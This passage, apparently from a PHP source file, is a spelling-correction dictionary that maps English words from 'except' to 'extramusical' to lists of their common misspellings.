except',\r\n\t\t\t\t\t'excet',\r\n\t\t\t\t\t'execpt',\r\n\t\t\t\t\t'exept',\r\n\t\t\t\t],\r\n\t\t\t\t'exceptionable'=>[\r\n\t\t\t\t\t'exceptionible',\r\n\t\t\t\t],\r\n\t\t\t\t'excerpt'=>[\r\n\t\t\t\t\t'exerpt',\r\n\t\t\t\t],\r\n\t\t\t\t'excerpting'=>[\r\n\t\t\t\t\t'exerpting',\r\n\t\t\t\t],\r\n\t\t\t\t'excerpts'=>[\r\n\t\t\t\t\t'exerpts',\r\n\t\t\t\t],\r\n\t\t\t\t'excess'=>[\r\n\t\t\t\t\t'exces',\r\n\t\t\t\t],\r\n\t\t\t\t'excessive'=>[\r\n\t\t\t\t\t'eccessive',\r\n\t\t\t\t\t'excesssive',\r\n\t\t\t\t\t'excesive',\r\n\t\t\t\t],\r\n\t\t\t\t'excessively'=>[\r\n\t\t\t\t\t'excessivly',\r\n\t\t\t\t],\r\n\t\t\t\t'exchange'=>[\r\n\t\t\t\t\t'exchnage',\r\n\t\t\t\t\t'exhange',\r\n\t\t\t\t],\r\n\t\t\t\t'exchangeability'=>[\r\n\t\t\t\t\t'exchangebility',\r\n\t\t\t\t],\r\n\t\t\t\t'excipient'=>[\r\n\t\t\t\t\t'excipeint',\r\n\t\t\t\t\t'excipint',\r\n\t\t\t\t],\r\n\t\t\t\t'excisable'=>[\r\n\t\t\t\t\t'excisible',\r\n\t\t\t\t],\r\n\t\t\t\t'excitabilities'=>[\r\n\t\t\t\t\t'excitabiliteis',\r\n\t\t\t\t\t'excitabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'excitable'=>[\r\n\t\t\t\t\t'exciteable',\r\n\t\t\t\t\t'excitible',\r\n\t\t\t\t],\r\n\t\t\t\t'excite'=>[\r\n\t\t\t\t\t'excite excite',\r\n\t\t\t\t\t'excite excite excite',\r\n\t\t\t\t],\r\n\t\t\t\t'excitement'=>[\r\n\t\t\t\t\t'excitemant',\r\n\t\t\t\t],\r\n\t\t\t\t'excludabilities'=>[\r\n\t\t\t\t\t'excludabiliteis',\r\n\t\t\t\t\t'excludabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'excludible'=>[\r\n\t\t\t\t\t'excludable',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusion'=>[\r\n\t\t\t\t\t'excluison',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusionary'=>[\r\n\t\t\t\t\t'excluisonary',\r\n\t\t\t\t\t'exclusionery',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusionist'=>[\r\n\t\t\t\t\t'excluisonist',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusionists'=>[\r\n\t\t\t\t\t'excluisonists',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusions'=>[\r\n\t\t\t\t\t'excluisons',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusive'=>[\r\n\t\t\t\t\t'excluisve',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusively'=>[\r\n\t\t\t\t\t'excluisvely',\r\n\t\t\t\t\t'exclusivly',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusiveness'=>[\r\n\t\t\t\t\t'excluisveness',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivenesses'=>[\r\n\t\t\t\t\t'excluisvenesses',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusives'=>[\r\n\t\t\t\t\t'excluisves',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivism'=>[\r\n\t\t\t\t\t'excluisvism',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivisms'=>[\r\n\t\t\t\t\t'excluisvisms',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivist'=>[\r\n\t\t\t\t\t'excluisvist',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivists'=>[\r\n\t\t\t\t\t'excluisvists',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivities'=>[\r\n\t\t\t\t\t'excluisvities',\r\n\t\t\t\t],\r\n\t\t\t\t'exclusivity'=>[\r\n\t\t\t\t\t'excluisvity',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicate'=>[\r\n\t\t\t\t\t'excomnunicate',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicated'=>[\r\n\t\t\t\t\t'excomnunicated',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicates'=>[\r\n\t\t\t\t\t'excomnunicates',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicating'=>[\r\n\t\t\t\t\t'excomnunicating',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunication'=>[\r\n\t\t\t\t\t'excomnunication',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicative'=>[\r\n\t\t\t\t\t'excomnunicative',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicator'=>[\r\n\t\t\t\t\t'excomnunicator',\r\n\t\t\t\t],\r\n\t\t\t\t'excommunicators'=>[\r\n\t\t\t\t\t'excomnunicators',\r\n\t\t\t\t],\r\n\t\t\t\t'excrementitious'=>[\r\n\t\t\t\t\t'excremantitious',\r\n\t\t\t\t\t'excrementitous',\r\n\t\t\t\t],\r\n\t\t\t\t'excrescence'=>[\r\n\t\t\t\t\t'excrecence',\r\n\t\t\t\t\t'excrecsence',\r\n\t\t\t\t\t'excrescance',\r\n\t\t\t\t\t'excresence',\r\n\t\t\t\t],\r\n\t\t\t\t'excrescences'=>[\r\n\t\t\t\t\t'excrecences',\r\n\t\t\t\t\t'excrecsences',\r\n\t\t\t\t\t'excresences',\r\n\t\t\t\t],\r\n\t\t\t\t'excrescency'=>[\r\n\t\t\t\t\t'excrescensy',\r\n\t\t\t\t],\r\n\t\t\t\t'excrescently'=>[\r\n\t\t\t\t\t'excrecently',\r\n\t\t\t\t\t'excrecsently',\r\n\t\t\t\t\t'excresently',\r\n\t\t\t\t],\r\n\t\t\t\t'excruciating'=>[\r\n\t\t\t\t\t'excrutiating',\r\n\t\t\t\t],\r\n\t\t\t\t'excurrent'=>[\r\n\t\t\t\t\t'excurent',\r\n\t\t\t\t],\r\n\t\t\t\t'excursively'=>[\r\n\t\t\t\t\t'excursivly',\r\n\t\t\t\t],\r\n\t\t\t\t'excusing'=>[\r\n\t\t\t\t\t'excuisng',\r\n\t\t\t\t],\r\n\t\t\t\t'execrable'=>[\r\n\t\t\t\t\t'execrible',\r\n\t\t\t\t],\r\n\t\t\t\t'execute'=>[\r\n\t\t\t\t\t'excecute',\r\n\t\t\t\t],\r\n\t\t\t\t'execution'=>[\r\n\t\t\t\t\t'excecution',\r\n\t\t\t\t],\r\n\t\t\t\t'executive'=>[\r\n\t\t\t\t\t'exective',\r\n\t\t\t\t],\r\n\t\t\t\t'exemplar'=>[\r\n\t\t\t\t\t'exempler',\r\n\t\t\t\t],\r\n\t\t\t\t'exemplariness'=>[\r\n\t\t\t\t\t'exemplariniss',\r\n\t\t\t\t],\r\n\t\t\t\t'exemplarinesses'=>[\r\n\t\t\t\t\t'exemplarinisses',\r\n\t\t\t\t],\r\n\t\t\t\t'exemplary'=>[\r\n\t\t\t\t\t'exemplery',\r\n\t\t\t\t],\r\n\t\t\t\t'exempt'=>[\r\n\t\t\t\t\t'exampt',\r\n\t\t\t\t\t'excempt',\r\n\t\t\t\t],\r\n\t\t\t\t'exequatur'=>[\r\n\t\t\t\t\t'exeqautur',\r\n\t\t\t\t],\r\n\t\t\t\t'exequaturs'=>[\r\n\t\t\t\t\t'exeqauturs',\r\n\t\t\t\t],\r\n\t\t\t\t'exercise'=>[\r\n\t\t\t\t\t'excercise',\r\n\t\t\t\t\t'excersise',\r\n\t\t\t\t\t'exercice',\r\n\t\t\t\t\t'exercise exercise',\r\n\t\t\t\t\t'exercise exercise exercise',\r\n\t\t\t\t\t'exercize',\r\n\t\t\t\t],\r\n\t\t\t\t'exerted'=>[\r\n\t\t\t\t\t'extered',\r\n\t\t\t\t],\r\n\t\t\t\t'exfoliate'=>[\r\n\t\t\t\t\t'exfolliate',\r\n\t\t\t\t],\r\n\t\t\t\t'exhaust'=>[\r\n\t\t\t\t\t'exaust',\r\n\t\t\t\t\t'exhuast',\r\n\t\t\t\t],\r\n\t\t\t\t'exhaustible'=>[\r\n\t\t\t\t\t'exhaustable',\r\n\t\t\t\t],\r\n\t\t\t\t'exhaustively'=>[\r\n\t\t\t\t\t'exhaustivly',\r\n\t\t\t\t],\r\n\t\t\t\t'exhaustivities'=>[\r\n\t\t\t\t\t'exhaustiviteis',\r\n\t\t\t\t\t'exhaustivitis',\r\n\t\t\t\t],\r\n\t\t\t\t'exhaustlessly'=>[\r\n\t\t\t\t\t'exhaustlessally',\r\n\t\t\t\t\t'exhaustlessaly',\r\n\t\t\t\t\t'exhaustlessely',\r\n\t\t\t\t\t'exhaustlesslly',\r\n\t\t\t\t],\r\n\t\t\t\t'exhibit'=>[\r\n\t\t\t\t\t'exbit',\r\n\t\t\t\t\t'exhbit',\r\n\t\t\t\t\t'exhibt',\r\n\t\t\t\t\t'exibit',\r\n\t\t\t\t],\r\n\t\t\t\t'exhibiting'=>[\r\n\t\t\t\t\t'exbiting',\r\n\t\t\t\t\t'exhbiting',\r\n\t\t\t\t\t'exhibting',\r\n\t\t\t\t\t'exibiting',\r\n\t\t\t\t],\r\n\t\t\t\t'exhibition'=>[\r\n\t\t\t\t\t'exhibiton',\r\n\t\t\t\t\t'exhibtion',\r\n\t\t\t\t\t'exibition',\r\n\t\t\t\t],\r\n\t\t\t\t'exhibitions'=>[\r\n\t\t\t\t\t'exjibitions',\r\n\t\t\t\t],\r\n\t\t\t\t'exhibits'=>[\r\n\t\t\t\t\t'exbits',\r\n\t\t\t\t\t'exhbits',\r\n\t\t\t\t\t'exhibts',\r\n\t\t\t\t\t'exibits',\r\n\t\t\t\t],\r\n\t\t\t\t'exhilarate'=>[\r\n\t\t\t\t\t'exhilirate',\r\n\t\t\t\t],\r\n\t\t\t\t'exigence'=>[\r\n\t\t\t\t\t'exigance',\r\n\t\t\t\t],\r\n\t\t\t\t'exigency'=>[\r\n\t\t\t\t\t'exigensy',\r\n\t\t\t\t],\r\n\t\t\t\t'exigent'=>[\r\n\t\t\t\t\t'exigant',\r\n\t\t\t\t],\r\n\t\t\t\t'exigently'=>[\r\n\t\t\t\t\t'exigentally',\r\n\t\t\t\t\t'exigentaly',\r\n\t\t\t\t\t'exigentely',\r\n\t\t\t\t\t'exigentlly',\r\n\t\t\t\t],\r\n\t\t\t\t'exigible'=>[\r\n\t\t\t\t\t'exigable',\r\n\t\t\t\t],\r\n\t\t\t\t'exiguous'=>[\r\n\t\t\t\t\t'exigous',\r\n\t\t\t\t],\r\n\t\t\t\t'exiguously'=>[\r\n\t\t\t\t\t'exigously',\r\n\t\t\t\t],\r\n\t\t\t\t'exiguousness'=>[\r\n\t\t\t\t\t'exigousness',\r\n\t\t\t\t],\r\n\t\t\t\t'exiguousnesses'=>[\r\n\t\t\t\t\t'exigousnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'exilian'=>[\r\n\t\t\t\t\t'exilan',\r\n\t\t\t\t],\r\n\t\t\t\t'eximious'=>[\r\n\t\t\t\t\t'eximous',\r\n\t\t\t\t],\r\n\t\t\t\t'exine'=>[\r\n\t\t\t\t\t'exini',\r\n\t\t\t\t],\r\n\t\t\t\t'exines'=>[\r\n\t\t\t\t\t'exinis',\r\n\t\t\t\t],\r\n\t\t\t\t'exist'=>[\r\n\t\t\t\t\t'exsist',\r\n\t\t\t\t\t'exsit',\r\n\t\t\t\t],\r\n\t\t\t\t'existence'=>[\r\n\t\t\t\t\t'existance',\r\n\t\t\t\t\t'exsistance',\r\n\t\t\t\t\t'exsistence',\r\n\t\t\t\t\t'exsitance',\r\n\t\t\t\t\t'exsitence',\r\n\t\t\t\t],\r\n\t\t\t\t'existent'=>[\r\n\t\t\t\t\t'existant',\r\n\t\t\t\t],\r\n\t\t\t\t'existential'=>[\r\n\t\t\t\t\t'existantial',\r\n\t\t\t\t],\r\n\t\t\t\t'existentialism'=>[\r\n\t\t\t\t\t'existantialism',\r\n\t\t\t\t],\r\n\t\t\t\t'existentialisms'=>[\r\n\t\t\t\t\t'existantialisms',\r\n\t\t\t\t],\r\n\t\t\t\t'existentially'=>[\r\n\t\t\t\t\t'existantially',\r\n\t\t\t\t],\r\n\t\t\t\t'existing'=>[\r\n\t\t\t\t\t'exisiting',\r\n\t\t\t\t\t'exsiting',\r\n\t\t\t\t],\r\n\t\t\t\t'exocrine'=>[\r\n\t\t\t\t\t'exocrini',\r\n\t\t\t\t],\r\n\t\t\t\t'exonuclease'=>[\r\n\t\t\t\t\t'exonuclese',\r\n\t\t\t\t],\r\n\t\t\t\t'exorbitance'=>[\r\n\t\t\t\t\t'exorbitence',\r\n\t\t\t\t],\r\n\t\t\t\t'exorbitant'=>[\r\n\t\t\t\t\t'exhorbitant',\r\n\t\t\t\t\t'exorbitent',\r\n\t\t\t\t],\r\n\t\t\t\t'exorbitantly'=>[\r\n\t\t\t\t\t'exorbitently',\r\n\t\t\t\t],\r\n\t\t\t\t'exoskeleton'=>[\r\n\t\t\t\t\t'exoskelaton',\r\n\t\t\t\t],\r\n\t\t\t\t'exothermicities'=>[\r\n\t\t\t\t\t'exothermiciteis',\r\n\t\t\t\t\t'exothermicitis',\r\n\t\t\t\t],\r\n\t\t\t\t'expandabilities'=>[\r\n\t\t\t\t\t'expandabiliteis',\r\n\t\t\t\t\t'expandabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'expanded'=>[\r\n\t\t\t\t\t'exapnded',\r\n\t\t\t\t],\r\n\t\t\t\t'expanse'=>[\r\n\t\t\t\t\t'expance',\r\n\t\t\t\t],\r\n\t\t\t\t'expansibilities'=>[\r\n\t\t\t\t\t'expansibiliteis',\r\n\t\t\t\t\t'expansibilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'expansible'=>[\r\n\t\t\t\t\t'expansable',\r\n\t\t\t\t],\r\n\t\t\t\t'expansion'=>[\r\n\t\t\t\t\t'expantion',\r\n\t\t\t\t],\r\n\t\t\t\t'expansionary'=>[\r\n\t\t\t\t\t'expansionery',\r\n\t\t\t\t],\r\n\t\t\t\t'expansively'=>[\r\n\t\t\t\t\t'expansivly',\r\n\t\t\t\t],\r\n\t\t\t\t'expect'=>[\r\n\t\t\t\t\t'expect expect',\r\n\t\t\t\t\t'expect expect expect',\r\n\t\t\t\t],\r\n\t\t\t\t'expectance'=>[\r\n\t\t\t\t\t'expectence',\r\n\t\t\t\t],\r\n\t\t\t\t'expectancy'=>[\r\n\t\t\t\t\t'expectansy',\r\n\t\t\t\t],\r\n\t\t\t\t'expectant'=>[\r\n\t\t\t\t\t'expectent',\r\n\t\t\t\t],\r\n\t\t\t\t'expectation'=>[\r\n\t\t\t\t\t'expection',\r\n\t\t\t\t],\r\n\t\t\t\t'expectedly'=>[\r\n\t\t\t\t\t'expectedally',\r\n\t\t\t\t\t'expectedaly',\r\n\t\t\t\t\t'expectedely',\r\n\t\t\t\t\t'expectedlly',\r\n\t\t\t\t],\r\n\t\t\t\t'expectorant'=>[\r\n\t\t\t\t\t'expectorent',\r\n\t\t\t\t],\r\n\t\t\t\t'expectorants'=>[\r\n\t\t\t\t\t'expectorents',\r\n\t\t\t\t],\r\n\t\t\t\t'expedience'=>[\r\n\t\t\t\t\t'expedeince',\r\n\t\t\t\t\t'expediance',\r\n\t\t\t\t\t'expedince',\r\n\t\t\t\t],\r\n\t\t\t\t'expediency'=>[\r\n\t\t\t\t\t'expedeincy',\r\n\t\t\t\t\t'expediensy',\r\n\t\t\t\t\t'expedincy',\r\n\t\t\t\t],\r\n\t\t\t\t'expedient'=>[\r\n\t\t\t\t\t'expedeint',\r\n\t\t\t\t\t'expediant',\r\n\t\t\t\t\t'expedint',\r\n\t\t\t\t],\r\n\t\t\t\t'expediential'=>[\r\n\t\t\t\t\t'expedeintial',\r\n\t\t\t\t\t'expediantial',\r\n\t\t\t\t\t'expedintial',\r\n\t\t\t\t],\r\n\t\t\t\t'expedite'=>[\r\n\t\t\t\t\t'expidite',\r\n\t\t\t\t],\r\n\t\t\t\t'expeditionary'=>[\r\n\t\t\t\t\t'expeditionery',\r\n\t\t\t\t],\r\n\t\t\t\t'expeditious'=>[\r\n\t\t\t\t\t'expeditous',\r\n\t\t\t\t],\r\n\t\t\t\t'expeditiously'=>[\r\n\t\t\t\t\t'expeditiousally',\r\n\t\t\t\t\t'expeditiousaly',\r\n\t\t\t\t\t'expeditiousely',\r\n\t\t\t\t\t'expeditiouslly',\r\n\t\t\t\t\t'expeditously',\r\n\t\t\t\t],\r\n\t\t\t\t'expel'=>[\r\n\t\t\t\t\t'expell',\r\n\t\t\t\t],\r\n\t\t\t\t'expelled'=>[\r\n\t\t\t\t\t'expeled',\r\n\t\t\t\t],\r\n\t\t\t\t'expelling'=>[\r\n\t\t\t\t\t'expeling',\r\n\t\t\t\t],\r\n\t\t\t\t'expels'=>[\r\n\t\t\t\t\t'expells',\r\n\t\t\t\t],\r\n\t\t\t\t'expendabilities'=>[\r\n\t\t\t\t\t'expendabiliteis',\r\n\t\t\t\t\t'expendabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'expendable'=>[\r\n\t\t\t\t\t'expendible',\r\n\t\t\t\t],\r\n\t\t\t\t'expense'=>[\r\n\t\t\t\t\t'expence',\r\n\t\t\t\t],\r\n\t\t\t\t'expenses'=>[\r\n\t\t\t\t\t'expences',\r\n\t\t\t\t],\r\n\t\t\t\t'expensively'=>[\r\n\t\t\t\t\t'expensivly',\r\n\t\t\t\t],\r\n\t\t\t\t'experience'=>[\r\n\t\t\t\t\t'expereince',\r\n\t\t\t\t\t'experiance',\r\n\t\t\t\t\t'experience experience',\r\n\t\t\t\t\t'experience experience experience',\r\n\t\t\t\t\t'exprience',\r\n\t\t\t\t\t'experince',\r\n\t\t\t\t],\r\n\t\t\t\t'experienced'=>[\r\n\t\t\t\t\t'expereinced',\r\n\t\t\t\t\t'experinced',\r\n\t\t\t\t],\r\n\t\t\t\t'experiential'=>[\r\n\t\t\t\t\t'expereintial',\r\n\t\t\t\t\t'experiantial',\r\n\t\t\t\t\t'experintial',\r\n\t\t\t\t],\r\n\t\t\t\t'experientially'=>[\r\n\t\t\t\t\t'expereintially',\r\n\t\t\t\t\t'experintially',\r\n\t\t\t\t],\r\n\t\t\t\t'experiment'=>[\r\n\t\t\t\t\t'experement',\r\n\t\t\t\t\t'experiment experiment',\r\n\t\t\t\t\t'experiment experiment experiment',\r\n\t\t\t\t\t'experment',\r\n\t\t\t\t\t'expirement',\r\n\t\t\t\t\t'experimant',\r\n\t\t\t\t],\r\n\t\t\t\t'experimental'=>[\r\n\t\t\t\t\t'experimantal',\r\n\t\t\t\t],\r\n\t\t\t\t'experimentalism'=>[\r\n\t\t\t\t\t'experimantalism',\r\n\t\t\t\t],\r\n\t\t\t\t'experimentally'=>[\r\n\t\t\t\t\t'experimentalally',\r\n\t\t\t\t\t'experimentalaly',\r\n\t\t\t\t\t'experimentalely',\r\n\t\t\t\t\t'experimentallly',\r\n\t\t\t\t],\r\n\t\t\t\t'experimentation'=>[\r\n\t\t\t\t\t'experimantation',\r\n\t\t\t\t],\r\n\t\t\t\t'experimenters'=>[\r\n\t\t\t\t\t'experimanters',\r\n\t\t\t\t],\r\n\t\t\t\t'experimenting'=>[\r\n\t\t\t\t\t'experimanting',\r\n\t\t\t\t],\r\n\t\t\t\t'expertly'=>[\r\n\t\t\t\t\t'expertally',\r\n\t\t\t\t\t'expertaly',\r\n\t\t\t\t\t'expertely',\r\n\t\t\t\t\t'expertlly',\r\n\t\t\t\t],\r\n\t\t\t\t'expiable'=>[\r\n\t\t\t\t\t'expiible',\r\n\t\t\t\t],\r\n\t\t\t\t'explain'=>[\r\n\t\t\t\t\t'expalin',\r\n\t\t\t\t\t'explane',\r\n\t\t\t\t],\r\n\t\t\t\t'explanation'=>[\r\n\t\t\t\t\t'explaination',\r\n\t\t\t\t\t'explination',\r\n\t\t\t\t],\r\n\t\t\t\t'explanatively'=>[\r\n\t\t\t\t\t'explanativly',\r\n\t\t\t\t],\r\n\t\t\t\t'explant'=>[\r\n\t\t\t\t\t'explent',\r\n\t\t\t\t],\r\n\t\t\t\t'explantation'=>[\r\n\t\t\t\t\t'explentation',\r\n\t\t\t\t],\r\n\t\t\t\t'explicable'=>[\r\n\t\t\t\t\t'explicible',\r\n\t\t\t\t],\r\n\t\t\t\t'explicably'=>[\r\n\t\t\t\t\t'explicabally',\r\n\t\t\t\t\t'explicabaly',\r\n\t\t\t\t\t'explicabely',\r\n\t\t\t\t\t'explicablly',\r\n\t\t\t\t],\r\n\t\t\t\t'explicatively'=>[\r\n\t\t\t\t\t'explicativly',\r\n\t\t\t\t],\r\n\t\t\t\t'explicit'=>[\r\n\t\t\t\t\t'explict',\r\n\t\t\t\t],\r\n\t\t\t\t'explicitly'=>[\r\n\t\t\t\t\t'explicitely',\r\n\t\t\t\t\t'explictly',\r\n\t\t\t\t],\r\n\t\t\t\t'exploit'=>[\r\n\t\t\t\t\t'exploitate',\r\n\t\t\t\t\t'exuloit',\r\n\t\t\t\t],\r\n\t\t\t\t'exploitation'=>[\r\n\t\t\t\t\t'exaloitation',\r\n\t\t\t\t\t'exuloitation',\r\n\t\t\t\t],\r\n\t\t\t\t'exploitative'=>[\r\n\t\t\t\t\t'exploititive',\r\n\t\t\t\t],\r\n\t\t\t\t'exploitatively'=>[\r\n\t\t\t\t\t'exploitativly',\r\n\t\t\t\t],\r\n\t\t\t\t'exploiter'=>[\r\n\t\t\t\t\t'exuloiter',\r\n\t\t\t\t],\r\n\t\t\t\t'exploiting'=>[\r\n\t\t\t\t\t'exuloiting',\r\n\t\t\t\t],\r\n\t\t\t\t'exploration'=>[\r\n\t\t\t\t\t'exporation',\r\n\t\t\t\t],\r\n\t\t\t\t'exploratively'=>[\r\n\t\t\t\t\t'explorativly',\r\n\t\t\t\t],\r\n\t\t\t\t'explosively'=>[\r\n\t\t\t\t\t'explosivly',\r\n\t\t\t\t],\r\n\t\t\t\t'exponent'=>[\r\n\t\t\t\t\t'exponant',\r\n\t\t\t\t],\r\n\t\t\t\t'exponential'=>[\r\n\t\t\t\t\t'exponantial',\r\n\t\t\t\t],\r\n\t\t\t\t'exponentially'=>[\r\n\t\t\t\t\t'exponantially',\r\n\t\t\t\t],\r\n\t\t\t\t'exponentiation'=>[\r\n\t\t\t\t\t'exponantiation',\r\n\t\t\t\t],\r\n\t\t\t\t'exportabilities'=>[\r\n\t\t\t\t\t'exportabiliteis',\r\n\t\t\t\t\t'exportabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'express'=>[\r\n\t\t\t\t\t'expres',\r\n\t\t\t\t],\r\n\t\t\t\t'expressely'=>[\r\n\t\t\t\t\t'expressedly',\r\n\t\t\t\t],\r\n\t\t\t\t'expressible'=>[\r\n\t\t\t\t\t'expressable',\r\n\t\t\t\t],\r\n\t\t\t\t'expression'=>[\r\n\t\t\t\t\t'expresion',\r\n\t\t\t\t],\r\n\t\t\t\t'expressionism'=>[\r\n\t\t\t\t\t'expresionism',\r\n\t\t\t\t],\r\n\t\t\t\t'expressionless'=>[\r\n\t\t\t\t\t'expressionles',\r\n\t\t\t\t],\r\n\t\t\t\t'expressive'=>[\r\n\t\t\t\t\t'expresive',\r\n\t\t\t\t],\r\n\t\t\t\t'expressively'=>[\r\n\t\t\t\t\t'expressivly',\r\n\t\t\t\t],\r\n\t\t\t\t'expressivities'=>[\r\n\t\t\t\t\t'expressiviteis',\r\n\t\t\t\t\t'expressivitis',\r\n\t\t\t\t],\r\n\t\t\t\t'expressivity'=>[\r\n\t\t\t\t\t'expresivity',\r\n\t\t\t\t],\r\n\t\t\t\t'expressly'=>[\r\n\t\t\t\t\t'expressedly',\r\n\t\t\t\t\t'expressely',\r\n\t\t\t\t\t'expresly',\r\n\t\t\t\t\t'expressally',\r\n\t\t\t\t\t'expressaly',\r\n\t\t\t\t\t'expresslly',\r\n\t\t\t\t],\r\n\t\t\t\t'expressway'=>[\r\n\t\t\t\t\t'expresway',\r\n\t\t\t\t],\r\n\t\t\t\t'exquisitely'=>[\r\n\t\t\t\t\t'exquisately',\r\n\t\t\t\t\t'exquisitly',\r\n\t\t\t\t],\r\n\t\t\t\t'exsanguinate'=>[\r\n\t\t\t\t\t'exsanguinite',\r\n\t\t\t\t],\r\n\t\t\t\t'exsanguinations'=>[\r\n\t\t\t\t\t'exsanguinitions',\r\n\t\t\t\t],\r\n\t\t\t\t'exsiccate'=>[\r\n\t\t\t\t\t'exsicate',\r\n\t\t\t\t],\r\n\t\t\t\t'exsiccated'=>[\r\n\t\t\t\t\t'exsicated',\r\n\t\t\t\t],\r\n\t\t\t\t'exsiccates'=>[\r\n\t\t\t\t\t'exsicates',\r\n\t\t\t\t],\r\n\t\t\t\t'exsiccating'=>[\r\n\t\t\t\t\t'exsicating',\r\n\t\t\t\t],\r\n\t\t\t\t'exsiccation'=>[\r\n\t\t\t\t\t'exsication',\r\n\t\t\t\t],\r\n\t\t\t\t'exsiccations'=>[\r\n\t\t\t\t\t'exsications',\r\n\t\t\t\t],\r\n\t\t\t\t'extant'=>[\r\n\t\t\t\t\t'extint',\r\n\t\t\t\t\t'extent',\r\n\t\t\t\t],\r\n\t\t\t\t'extemporaneity'=>[\r\n\t\t\t\t\t'extemporaniety',\r\n\t\t\t\t],\r\n\t\t\t\t'extemporary'=>[\r\n\t\t\t\t\t'extemporery',\r\n\t\t\t\t],\r\n\t\t\t\t'extended'=>[\r\n\t\t\t\t\t'extented',\r\n\t\t\t\t],\r\n\t\t\t\t'extendedly'=>[\r\n\t\t\t\t\t'extendedally',\r\n\t\t\t\t\t'extendedaly',\r\n\t\t\t\t\t'extendedely',\r\n\t\t\t\t\t'extendedlly',\r\n\t\t\t\t],\r\n\t\t\t\t'extendible'=>[\r\n\t\t\t\t\t'extendable',\r\n\t\t\t\t],\r\n\t\t\t\t'extensible'=>[\r\n\t\t\t\t\t'extensable',\r\n\t\t\t\t],\r\n\t\t\t\t'extension'=>[\r\n\t\t\t\t\t'extention',\r\n\t\t\t\t],\r\n\t\t\t\t'extension '=>[\r\n\t\t\t\t\t'extention',\r\n\t\t\t\t],\r\n\t\t\t\t'extensions'=>[\r\n\t\t\t\t\t'extentions',\r\n\t\t\t\t],\r\n\t\t\t\t'extensive'=>[\r\n\t\t\t\t\t'exstensive',\r\n\t\t\t\t],\r\n\t\t\t\t'extensively'=>[\r\n\t\t\t\t\t'exten-sively',\r\n\t\t\t\t\t'extensivly',\r\n\t\t\t\t],\r\n\t\t\t\t'extent'=>[\r\n\t\t\t\t\t'extant',\r\n\t\t\t\t],\r\n\t\t\t\t'extenuate'=>[\r\n\t\t\t\t\t'extenaute',\r\n\t\t\t\t],\r\n\t\t\t\t'extenuated'=>[\r\n\t\t\t\t\t'extenauted',\r\n\t\t\t\t],\r\n\t\t\t\t'extenuates'=>[\r\n\t\t\t\t\t'extenautes',\r\n\t\t\t\t],\r\n\t\t\t\t'extenuation'=>[\r\n\t\t\t\t\t'extenaution',\r\n\t\t\t\t],\r\n\t\t\t\t'extenuator'=>[\r\n\t\t\t\t\t'extenautor',\r\n\t\t\t\t],\r\n\t\t\t\t'exterminate'=>[\r\n\t\t\t\t\t'exterminite',\r\n\t\t\t\t],\r\n\t\t\t\t'exterminator'=>[\r\n\t\t\t\t\t'exterminitor',\r\n\t\t\t\t],\r\n\t\t\t\t'extermining'=>[\r\n\t\t\t\t\t'exterminang',\r\n\t\t\t\t],\r\n\t\t\t\t'external'=>[\r\n\t\t\t\t\t'exerternal',\r\n\t\t\t\t\t'extemal',\r\n\t\t\t\t],\r\n\t\t\t\t'exterritorial'=>[\r\n\t\t\t\t\t'exteritorial',\r\n\t\t\t\t],\r\n\t\t\t\t'extinct'=>[\r\n\t\t\t\t\t'extincted',\r\n\t\t\t\t],\r\n\t\t\t\t'extinction'=>[\r\n\t\t\t\t\t'extionction',\r\n\t\t\t\t],\r\n\t\t\t\t'extinguishable'=>[\r\n\t\t\t\t\t'extinguishible',\r\n\t\t\t\t],\r\n\t\t\t\t'extinguisher'=>[\r\n\t\t\t\t\t'extinguiser',\r\n\t\t\t\t],\r\n\t\t\t\t'extol'=>[\r\n\t\t\t\t\t'extoll',\r\n\t\t\t\t],\r\n\t\t\t\t'extortionary'=>[\r\n\t\t\t\t\t'extortionery',\r\n\t\t\t\t],\r\n\t\t\t\t'extortionately'=>[\r\n\t\t\t\t\t'extortionatly',\r\n\t\t\t\t],\r\n\t\t\t\t'extra-terrestrial'=>[\r\n\t\t\t\t\t'extra-terrestial',\r\n\t\t\t\t],\r\n\t\t\t\t'extracellular'=>[\r\n\t\t\t\t\t'extracelluler',\r\n\t\t\t\t\t'extracelular',\r\n\t\t\t\t],\r\n\t\t\t\t'extracorporeal'=>[\r\n\t\t\t\t\t'extracorporel',\r\n\t\t\t\t],\r\n\t\t\t\t'extracted'=>[\r\n\t\t\t\t\t'exctracted',\r\n\t\t\t\t],\r\n\t\t\t\t'extractively'=>[\r\n\t\t\t\t\t'extractivly',\r\n\t\t\t\t],\r\n\t\t\t\t'extracurricular'=>[\r\n\t\t\t\t\t'extracuricular',\r\n\t\t\t\t\t'extracurriculer',\r\n\t\t\t\t],\r\n\t\t\t\t'extraditable'=>[\r\n\t\t\t\t\t'extraditible',\r\n\t\t\t\t],\r\n\t\t\t\t'extrahepatic'=>[\r\n\t\t\t\t\t'extraepatic',\r\n\t\t\t\t],\r\n\t\t\t\t'extraliterary'=>[\r\n\t\t\t\t\t'extraliterery',\r\n\t\t\t\t],\r\n\t\t\t\t'extramusical'=>[\r\n\t\t\t\t\t'extramuisca